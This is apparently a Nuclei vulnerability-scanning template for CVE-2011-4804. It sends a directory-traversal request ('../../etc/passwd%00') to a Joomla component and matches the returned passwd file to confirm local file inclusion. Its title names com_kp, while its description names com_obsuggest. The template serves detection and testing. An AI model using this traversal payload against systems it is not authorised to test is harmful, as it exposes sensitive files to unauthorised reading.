id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
    - http://foobla.com/news/latest/obsuggest-1.8-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-4804
    cwe-id: CWE-22
    epss-score: 0.48896
    epss-percentile: 0.96989
    cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_obsuggest
  tags: cve,cve2011,lfi,edb,joomla,foobla

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b949bee2131b5ed5b86ac9d0967b4fcf8b6f31213e99096e9c87a9b29e152392022100d7e283253e5f4cce5d98dbd70553e810a20dd54a3673187f3c89619968f87aa2:922c64590222798bb761d5b6d8e72950